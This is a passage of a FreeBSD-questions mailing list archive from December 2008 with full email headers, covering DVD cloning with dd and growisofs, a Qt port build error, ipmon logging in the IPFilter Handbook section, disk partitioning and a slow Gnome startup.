+0100 (CET) From: Wojciech Puchar To: Polytropon In-Reply-To: <20081205161112.f9bcddff.freebsd@edvax.de> Message-ID: <20081205164450.B2139@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:46:08 -0000 > > I'd like to ask which program is the proper tool to copy > a DVD(+|-)R 1:1 to another media of the same kind? It > would be great if the program would have a good error > tolerance for slightly defective media (which is a usual > problem with cheap DVDs). > > I've always used cdrdao read-cd and afterwards cdrdao write > for CD-R, but I cannot use this tool for DVDs, right? > > So far I've used growisofs to record pre-mastered ISO > file systems, but I don't want to make it that complicated > (mound source DVD, mkisofs, growisofs / burn this ISO ^^^^^^^^^^^^^^^^^^^^^^^^ man dd From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:46:22 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 053F31065701 for ; Fri, 5 Dec 2008 15:46:22 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 347B68FC1B for ; Fri, 5 Dec 2008 15:46:20 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5FjhBQ002165; Fri, 5 Dec 2008 16:45:43 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5Fjh2H002162; Fri, 5 Dec 2008 16:45:43 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 16:45:43 +0100 (CET) From: Wojciech Puchar To: Andrew Gould In-Reply-To: Message-ID: <20081205164533.B2139@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Polytropon , FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:46:22 -0000 > dd if=/dev/cd0 of=filename.iso bs=2048 bs=64k or more. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:47:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5D581106564A for ; Fri, 5 Dec 2008 15:47:53 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 1F85F8FC0A for ; Fri, 5 Dec 2008 15:47:53 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx02.qsc.de (Postfix) with ESMTP id B0AC616C0044; Fri, 5 Dec 2008 16:47:51 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB5Flo5T003239; Fri, 5 Dec 2008 16:47:50 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Fri, 5 Dec 2008 16:47:50 +0100 From: Polytropon To: "Andrew Gould" Message-Id: <20081205164750.20fce934.freebsd@edvax.de> In-Reply-To: References: <20081205161112.f9bcddff.freebsd@edvax.de> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:47:53 -0000 On Fri, 5 Dec 2008 09:42:58 -0600, "Andrew Gould" wrote: > If your CD or DVD is loaded (not mounted) at /dev/cd0, the following command > will create an iso image in the current directory: > > dd if=/dev/cd0 of=filename.iso bs=2048 > > If you want an easy process, you can put this in a script, followed by a > growisofs command to burn the file to another DVD device, allowing the > script to overwrite the previous DVD iso file. Or you could write a script > where you supply a name for the iso image file to maintain backup images. Thanks, dd is a good suggestion for ISO data. But what I need is a 1:1 copy no matter what the DVD actually contains - I know, I didn't mention this in a clear way, sorry. For example, the cdrdao command I mentioned before does copy the source 1:1 to the destination media, for cases such as - an ISO image (data CD) - audio tracks (music CD) - VCD - SVCD - video files without ISO enclosing (yes, my standalone player runs these, and it's easy to mplayer -fs /dev/cd0 to watch a movie that is an AVI or MPG file) - an ISO image *and* audio tracks I'm searching for the same functionality applyable to DVD, so I can easily clone video DVDs I made, as well as data DVDs or DVDs with audio tracks (yes, this works, too). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 15:48:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 03DD31065697 for ; Fri, 5 Dec 2008 15:48:21 +0000 (UTC) (envelope-from bri@brianwhalen.net) Received: from numail.brianwhalen.net (numail.brianwhalen.net [66.93.34.172]) by mx1.freebsd.org (Postfix) with ESMTP id CE94D8FC20 for ; Fri, 5 Dec 2008 15:48:20 +0000 (UTC) (envelope-from bri@brianwhalen.net) Received: by numail.brianwhalen.net (Postfix, from userid 65534) id 3459328538; Fri, 5 Dec 2008 07:31:59 -0800 (PST) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on numail.brianwhalen.net X-Spam-Level: X-Spam-Status: No, score=-2.4 required=3.0 tests=AWL,BAYES_00,RDNS_DYNAMIC autolearn=no version=3.2.5 Received: from [127.0.0.1] (dsl093-034-235.snd1.dsl.speakeasy.net [66.93.34.235]) by numail.brianwhalen.net (Postfix) with ESMTP id 869082847A for ; Fri, 5 Dec 2008 07:31:57 -0800 (PST) Message-ID: <4939496B.7010303@brianwhalen.net> Date: Fri, 05 Dec 2008 07:31:55 -0800 From: Brian User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <49392F02.9010902@maydias.com> <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> In-Reply-To: <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: desperate Newb help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 15:48:21 -0000 Mel wrote: > On Friday 05 December 2008 14:39:14 Warren Liddell wrote: >> I have been trying for quite a while now to try and get some assistance >> from the various lists, google, forums an even man pages and so far not >> a single piece of advise on how to solve my issue and im getting >> desperate an ready to throw BSD in for goin back to godforbid windows, >> so once i again i ask for some help with why QT refuses to compile >> saying ..... >> >> I have used the little-endian an big-endian flag an it made no >> difference, so plz someone have the kindness to help. >> >> ============================= >> >> The target system byte order could not be detected! >> Turn on verbose messaging (-v) to see the final report. >> You can use the -little-endian or -big-endian switch to >> ./configure to continue. >> ===> Script "configure" failed unexpectedly. >> Please report the problem to kde@FreeBSD.org [maintainer] and attach the >> "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../. >> .//config.log" > > I have no idea why 'configure' is run. No configure is run for me at all. > Looks like your ports tree isn't sane. How do you upgrade your portstree? > > Instead of using portupgrade, could you just execute the following: > make -C /usr/ports/databases/qt4-sql clean build > If youre new to freebsd, pkg_add -r packagename is infinitely easier than muddling through port build options. Brian From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:07:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B9E461065672 for ; Fri, 5 Dec 2008 16:07:37 +0000 (UTC) (envelope-from eagletree@hughes.net) Received: from smtprelay.b.hostedemail.com (smtprelay0149.b.hostedemail.com [64.98.42.149]) by mx1.freebsd.org (Postfix) with ESMTP id 71D618FC1F for ; Fri, 5 Dec 2008 16:07:37 +0000 (UTC) (envelope-from eagletree@hughes.net) Received: from filter.hostedemail.com (b-bigip1 [10.5.19.254]) by smtprelay01.b.hostedemail.com (Postfix) with SMTP id 559603211A7D; Fri, 5 Dec 2008 16:07:36 +0000 (UTC) X-SpamScore: 1 X-Spam-Summary: 2, 0, 0, 93c8e6168a8a0b76, 944facfeb153b4f0, eagletree@hughes.net, freebsd-questions@freebsd.org:dweimer@orscheln.com, RULES_HIT:355:379:541:564:599:601:945:946:966:967:972:973:980:982:988:989:1042:1260:1261:1277:1311:1313:1314:1345:1359:1437:1515:1516:1518:1534:1544:1593:1594:1605:1711:1730:1747:1766:1792:2196:2199:2379:2393:2525:2553:2559:2564:2682:2685:2692:2693:2857:2859:2892:2894:2895:2933:2937:2939:2942:2945:2947:2951:2954:3022:3027:3865:3866:3867:3868:3869:3870:3871:3872:3873:3874:3876:3877:3934:3936:3938:3941:3944:3947:3950:3953:3956:3959:4250:4385:4605:4860:5007:6114:6117:7652:7679:7875:7903:7904:8501:8599:9010:9025:9388, 0, RBL:none, CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0, MSF:not bulk, SPF:, MSBL:none, DNSBL:none Received: from [192.168.0.3] (dpc6744118153.direcpc.com [67.44.118.153]) (Authenticated sender: eagletree@hughes.net) by omf08.b.hostedemail.com (Postfix) with ESMTP; Fri, 5 Dec 2008 16:07:28 +0000 (UTC) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v753) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Chris Date: Fri, 5 Dec 2008 08:07:19 -0800 To: Dean Weimer X-Mailer: Apple Mail (2.753) X-session-marker: 6561676C6574726565406875676865732E6E6574 Cc: freebsd-questions@freebsd.org Subject: Re: IPFilter section in Handbook needs updating X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:07:37 -0000 On Dec 5, 2008, at 7:07 AM, Dean Weimer wrote: > I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and > noticed that the ipmon and syslog information under the ipfilter > section of the handbook is incorrect. > A couple of years back, I submitted a one liner to some email address of a documentation maintainer. I just looked on the site and couldn't find this address. Instead, it said if you have a change, it suggested putting in a PR. It sounds like it you should create a diff of the current wording and your recommended change. Here is where I was looking: http://www.freebsd.org/docproj/submitting.html > The section reads: > -----snip----- > 31.5.7 IPMON Logging > Syslogd uses its own special method for segregation of log data. It > uses special groupings called "facility" and "level". IPMON in -Ds > mode uses security as the "facility" name. All IPMON logged data > goes to security The following levels can be used to further > segregate the logged data if desired: > LOG_INFO - packets logged using the "log" keyword as the action > rather than pass or block. > LOG_NOTICE - packets logged which are also passed > LOG_WARNING - packets logged which are also blocked > LOG_ERR - packets which have been logged and which can be > considered short > To setup IPFILTER to log all data to /var/log/ipfilter.log, you > will need to create the file. The following command will do that: > # touch /var/log/ipfilter.log > The syslog function is controlled by definition statements in the / > etc/syslog.conf file. The syslog.conf file offers considerable > flexibility in how syslog will deal with system messages issued by > software applications like IPF. > Add the following statement to /etc/syslog.conf: > security.* /var/log/ipfilter.log > The security.* means to write all the logged messages to the coded > file location. > To activate the changes to /etc/syslog.conf you can reboot or bump > the syslog task into re-reading /etc/syslog.conf by running /etc/ > rc.d/syslogd reload > Do not forget to change /etc/newsyslog.conf to rotate the new log > you just created above. > -----snip----- > > In trying to configure this I found that ipmon -Dsa doesn't log to > security, but logs to local0 instead. Reading the man page for > ipmon does in fact state this. However it also list the -L option > as being able to change this default behavior, I tried ipmon -DSa - > L security, it excepts this, but doesn't actually change the > logging to use security. It still only outputs to the syslog using > local0, I also tried using ipmon -DSa -L local7 as well, still > outputs to local0. It was easy enough to modify my syslog.conf to > output the local0.* as well as security.* to the /var/log/security > file. However it would be greatly appreciated if someone that > actually understands what's going on here could get this info > updated. It would have saved me some time, as well as I am sure > some other people in the future. Of course it's always possible I > am missing something simple here that is causing this discrepancy, > please do inform me if I did. It's probably worth mentioning that > I am starting ipmon using the rc.conf file with ipmon_enable="YES" > and ipmon_flags="-DSa", just in case the /etc/rc.d/ipmon script > actually changes the default behavior of ipmon in some way, though > I didn't see anything in it that should. And ps wwaux | grep ipmon > does display the process running with the flags exactly as stated > on the ipmon_flags line of the /etc/rc.conf file. > > Thanks, > Dean Weimer > Network Administrator > Orscheln Management Co > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions- > unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:08:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 33EED1065677 for ; Fri, 5 Dec 2008 16:08:01 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 05BF08FC16 for ; Fri, 5 Dec 2008 16:08:00 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB5G2oKa006011; Fri, 5 Dec 2008 11:02:50 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB5G2nPS006010; Fri, 5 Dec 2008 11:02:49 -0500 (EST) (envelope-from jerrymc) Date: Fri, 5 Dec 2008 11:02:49 -0500 From: Jerry McAllister To: Da Rock Message-ID: <20081205160249.GA5954@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:08:01 -0000 On Fri, Dec 05, 2008 at 03:58:23AM +1000, Da Rock wrote: > On Thu, 2008-12-04 at 10:49 -0500, Jerry McAllister wrote: > > On Thu, Dec 04, 2008 at 12:57:45PM +1000, Da Rock wrote: > > > > > > > > On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > > > > Da Rock writes: > > > > > > > > > Excuse my nose in here- I just have a couple of questions. > > > > > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > > > > > Yes. Can't remember the last time I used anything else. > > > > > > So you've never booted from a disk that has been partitioned as a file > > > system? > > > > You are getting your terms scrambled here. > > Partitioning has nothing directly to do with creating a file system. > > You can build a filesystem (with newfs) on just about any piece > > of disk whether it is the whole disk, a slice of the disk or a partition > > of a slice. > > > > Making one of those divisions bootable is also pretty much an > > independant operation too, though as far as I know, only whole > > disks and slices can be made bootable but not partitions - the > > fact that the partition contains the system files is not what > > makes it bootable. Being bootable is dependant on the boot sector > > which gets the control from either the BIOS or an MBR and then finds > > the system partition (/), mounts it (Read Only) and finds system files > > and starts those things running. > > Yes, I would say I'm getting my terms mixed up- fortunately the actual > reality is clear in my head (hard as that is to believe..). > > I have only one more question then: Why would you use "dangerously > dedicated mode" at all? I can only see where it might be useful for > files, no advantage to being a boot sector. The main reason is because a person doesn't want to bother making a slice and partitions - so you can get by without it. It has no relation to being bootable. The BIOS hands off control to what it thinks is a boot sector and it doesn't matter to it whether that is really an MBR that then checks for boot sectors in slices and other MBRs on disks or if it is really a boot sector that starts the reads in the OS files and starts the actual boot. It is all the same. > > It was some time ago that I read up on all this, but what I remembered > was that BSD could use a dedicated disk- but only BSD could read and > write from it and this is dangerous. Maybe what I was reading was > regarding bootable and that was considered dangerous... At any rate I'm > very clear now. Again, nothing to do with making a disk bootable. That is determined by two things: the presence of the bootable flag; a properly constructed boot sector to transfer control to. The 'dangerously dedicated' issue is as you say first; BSD can use the dedicated disk both read and write, but no one else (other OSen) can - for anything. Dangerous is probably overstating the issue a bit, but became the popular terminology. I seem to remember that way back there were some BIOS implementations that had trouble with a 'dangerously dedicated' disk and so would not boot properly, but the main issue is being able to read/write the disk. ////jerry > > Thanks for all the information guys- cheers > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:18:43 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0E6811065672 for ; Fri, 5 Dec 2008 16:18:43 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 52CA58FC1F for ; Fri, 5 Dec 2008 16:18:42 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5GI2pn002285; Fri, 5 Dec 2008 17:18:02 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5GI1FC002282; Fri, 5 Dec 2008 17:18:01 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 5 Dec 2008 17:18:01 +0100 (CET) From: Wojciech Puchar To: Polytropon In-Reply-To: <20081205164750.20fce934.freebsd@edvax.de> Message-ID: <20081205171703.B2281@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Andrew Gould , FreeBSD Questions Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:18:43 -0000 > > Thanks, dd is a good suggestion for ISO data. But what I need once again please do man dd dd reads sector by sector. it won't work only for audio-sectors on CD , on DVD movies are stored using "normal" 2K sectors From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:22:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C686F1065675 for ; Fri, 5 Dec 2008 16:22:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 99FEE8FC13 for ; Fri, 5 Dec 2008 16:22:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id E5A0EAFBC02; Fri, 5 Dec 2008 07:22:49 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, Polytropon Date: Fri, 5 Dec 2008 17:22:46 +0100 User-Agent: KMail/1.9.7 References: <20081205161112.f9bcddff.freebsd@edvax.de> In-Reply-To: <20081205161112.f9bcddff.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812051722.47651.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:22:50 -0000 On Friday 05 December 2008 16:11:12 Polytropon wrote: > So far I've used growisofs to record pre-mastered ISO > file systems, but I don't want to make it that complicated > (mound source DVD, mkisofs, growisofs / burn this ISO > to destination DVD) if it can be avoided. It's not > neccessary to perform this operation from one drive > to the other, it's okay to have a temporary file > (first read, then burn). =46rom the manpage: To use growisofs to write a pre-mastered ISO-image to a DVD: growisofs -dvd-compat -Z /dev/dvd=3Dimage.iso where image.iso represents an arbitrary object in the filesystem, s= uch as file, named pipe or device entry. Nothing is growing here and c= om- mand name is not intuitive in this context. So, while untested by me: growisofs -dvd-compat -Z /dev/cd1=3D/dev/cd0 should work. =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:23:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D3EA71065673 for ; Fri, 5 Dec 2008 16:23:11 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.30]) by mx1.freebsd.org (Postfix) with ESMTP id 82AF48FC14 for ; Fri, 5 Dec 2008 16:23:11 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so40677yxb.13 for ; Fri, 05 Dec 2008 08:23:10 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=+sDF62LRIt83j001jr6Di6tzOM6g0a7JiQzDsylQwYE=; b=W9Qq34Wh2iZ6NTZNbczEVibusH1NkX5b3+XniJ+B8t9ur4fbfAWuwH8nC9crdBdQaj nIKHl7yJ4l55s8g3m8JEBeyrPc53UO4z0iIZ7LzkRO42kNQfan7gXldCUh65+uqIJ8Dr NDIbnseN0myQR5dGD337RvIQYyDEAt2tdcPJE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=NUd7/gGET9bCVSO/h9pGMGSLaQq5HAX0aTD5Zph2qCpN4r6FfFAMhRN9slaLTGzFd2 8ZTiTBMxmKMNDYfK0SBMWbQCbiJtXJaR0ibZFQYI47qyIBCl578wSK/syb6NylmkBQqu qo3jvGYl94dY8VGN+eWwwc84f6obuB+WMXeZA= Received: by 10.143.6.1 with SMTP id j1mr60282wfi.152.1228494190248; Fri, 05 Dec 2008 08:23:10 -0800 (PST) Received: by 10.142.180.20 with HTTP; Fri, 5 Dec 2008 08:23:10 -0800 (PST) Message-ID: <1bd550a00812050823nf1a79b2g2f4419cf79b50538@mail.gmail.com> Date: Fri, 5 Dec 2008 17:23:10 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: Mel In-Reply-To: <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> Cc: freebsd-questions@freebsd.org Subject: Re: Gnome slow at start up X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:23:11 -0000 On Fri, Dec 5, 2008 at 5:58 AM, Mel w= rote: > On Thursday 04 December 2008 19:51:32 Fernando Apestegu=EDa wrote: >> Hi all, >> >> I'm running FreeBSD 7.1-BETA 2 and I have some problems with Gnome at st= art >> up. >> >> When I type startx, I get the gnome desktop and the nice border-less >> window in which I can see components loading. However, after the >> gnome-panel icon, it seems to stall. >> some time later (around a minute or two) nautilus seems to run and I >> get all the icons at my desktop. >> >> I have >> dbus_enable=3D"YES" >> hald_enable=3D"YES" >> in my rc.conf and I can see, both are running. >> >> I have the entries suggested in >> http://www.freebsd.org/gnome/docs/faq2.html#q20 added to my /etc/hosts >> and I can verify with ping that I don't have any problems with name >> resolution. >> I also have both net.inet.tcp.backhole and net.inet.udp.blackhole set to= 0. >> >> What's the problem? How can I see which process is stalled during start = up? > > Does this help? > http://forums.freebsd.org/showthread.php?t=3D445 Hi Mel, thanks a lot. The --purge-delay=3D5000 and --warn-delay=3D5000 options for gnome-session fixed the problem. However, this triggers another question. Since these options decrease the default timeouts (30000) for clients to connect and clients to respond respectively, doesn't this mean some process, acting like a gnome client is stalled or taking too much time to initialize? Does this worth a PR? Thanks > > -- > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. > From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:25:33 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E3AA2106567D for ; Fri, 5 Dec 2008 16:25:33 +0000 (UTC) (envelope-from nvass@teledomenet.gr) Received: from smtp.teledomenet.gr (smtp.teledomenet.gr [213.142.128.2]) by mx1.freebsd.org (Postfix) with ESMTP id 9920B8FC1C for ; Fri, 5 Dec 2008 16:25:33 +0000 (UTC) (envelope-from nvass@teledomenet.gr) Received: by smtp.teledomenet.gr (Postfix, from userid 58) id 3BFF51420A8; Fri, 5 Dec 2008 18:05:57 +0200 (EET) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on smtp.teledomenet.gr X-Spam-Level: X-Spam-Status: No, score=-2.5 required=5.0 tests=BAYES_00,RDNS_NONE autolearn=no version=3.2.5 Received: from iris.teledomenet.local (unknown [192.168.1.71]) by smtp.teledomenet.gr (Postfix) with ESMTP id BF6491420A5; Fri, 5 Dec 2008 18:05:53 +0200 (EET) From: Nikos Vassiliadis To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 18:05:38 +0200 User-Agent: KMail/1.9.10 References: <11691.95194.qm@web83803.mail.sp1.yahoo.com> In-Reply-To: <11691.95194.qm@web83803.mail.sp1.yahoo.com> X-NCC-RegID: gr.telehouse MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051805.38800.nvass@teledomenet.gr> Cc: nrml nrml Subject: Re: IPSec + vpn + multicast X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:25:34 -0000 On Wednesday 03 December 2008 17:02:05 nrml nrml wrote: > Hello, > > I followed the handbook instructions and the ipsec(4) man page to setup > vpn-over-ipsec for our company's site-to-site connection via our > dedicated T1. Anyway I have it working but I found that I need to make > sure that multicast traffic can traverse through the two subnets. I have > the following options in my kernel: > > FreeBSD somebox.domain.com 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #1: Fri > Nov 21 08:11:47 PST 2008 > root@somebox.domain.com:/usr/obj/usr/src/sysKERNEL i386 device > crypto > options IPSEC > options 